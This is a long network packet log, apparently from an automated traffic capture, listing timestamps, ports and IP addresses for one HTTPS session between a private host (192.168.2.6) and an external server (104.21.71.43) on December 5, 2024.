Dec 5, 2024 15:04:27.650037050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.657473087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.657529116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.657543898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.665110111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.665172100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.665186882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.672683001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.672780991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.672794104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.680134058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.680227995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.680242062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.694575071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.694633961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.694648027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.701602936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.701651096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.701662064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.708586931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.708631039 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.708646059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.742103100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.742192030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.742207050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.786251068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.814524889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.816873074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.816941977 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.816960096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.826087952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.826097012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.826152086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.826169968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.834974051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.835024118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.835041046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.835083008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.839406013 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.839472055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.839485884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.847877026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.847929001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.847938061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.847976923 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.856405020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.856411934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.856451035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.865068913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.865077019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.865119934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.869422913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.869429111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.869474888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.877419949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.877474070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.883246899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.883325100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.889592886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.889666080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.892863989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.892934084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.899389029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.899457932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:27.902715921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:27.902780056 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.006769896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.006846905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.008038044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.008093119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.014081955 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.014157057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.016841888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.016891956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.021661043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.021714926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.024147987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.024194002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.029031992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.029081106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.033447027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.033509016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.038100958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.038163900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.040386915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.040441036 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.044884920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.044938087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.049175978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.049225092 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.053620100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.053667068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.055969000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.056016922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.060378075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.060425043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.063760042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.063803911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.068342924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.068393946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.070555925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.070604086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.075066090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.075112104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.079498053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.079550028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.084028959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.084081888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.086328983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.086390972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.091623068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.091689110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.093791008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.093844891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.199878931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.200037956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.203269958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.203330994 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.213969946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.213979959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.214013100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.214077950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.214091063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.214111090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.214127064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.225333929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.225352049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.225450993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.225459099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.225506067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.236692905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.236711025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.236792088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.236799002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.236846924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.248171091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.248193026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.248316050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.248325109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.248364925 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.258822918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.258841038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.258945942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.258954048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.258994102 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.269015074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.269035101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.269125938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.269133091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.269172907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.280273914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.280297995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.280424118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.280431986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.280469894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.394138098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.394166946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.394320011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.394335032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.394375086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.403417110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.403435946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.403515100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.403522015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.403568029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.411179066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.411196947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.411251068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.411258936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.411294937 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.420154095 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.420170069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.420244932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.420257092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.420300007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.428656101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.428672075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.428742886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.428750992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.428782940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.436846018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.436867952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.436965942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.436973095 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.437017918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.445621014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.445636988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.445717096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.445724964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.445763111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.453157902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.453174114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.453223944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.453232050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.453273058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.590619087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.590650082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.590706110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.590718985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.590747118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.590766907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.597647905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.597662926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.597711086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.597727060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.597747087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.597763062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.604374886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.604393005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.604473114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.604492903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.604535103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.612313986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.612329960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.612366915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.612375021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.612400055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.612420082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.620059013 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.620080948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.620112896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.620121002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.620146036 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.620166063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.627264977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.627280951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.627331018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.627336979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.627373934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.635090113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.635107040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.635159016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.635164976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.635210991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.642333031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.642349005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.642514944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.642522097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.642558098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.777662992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.777688026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.777817965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.777834892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.777885914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.785299063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.785316944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.785424948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.785433054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.785525084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.793220997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.793236971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.793344975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.793354034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.793437958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.799999952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.800017118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.800117970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.800126076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.800203085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.807730913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.807748079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.807898998 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.807912111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.807993889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.815191984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.815216064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.815318108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.815330982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.815397978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.822890043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.822907925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.823016882 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.823025942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.823111057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.830730915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.830748081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.830859900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.830867052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.830945969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.982254028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.982275963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.982382059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.982403994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.982450962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.990251064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.990268946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.990361929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.990381956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.990458012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.997616053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.997636080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.997742891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:28.997766972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:28.997806072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.004537106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.004554033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.004663944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.004683018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.004755020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.012377977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.012396097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.012532949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.012540102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.012622118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.019682884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.019704103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.019753933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.019762039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.019805908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.027455091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.027472019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.027529955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.027538061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.027579069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.033046961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.033092976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.033129930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.033138990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.033149958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.034281969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.034333944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.034349918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.034389973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.162045956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.162074089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.162125111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.162151098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.162168980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.162187099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.169416904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.169435024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.169516087 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.169542074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.169598103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.177194118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.177210093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.177265882 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.177284956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:29.177325964 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:29.185067892 CET	443	49906	104.21.71.43	192.168.2.6
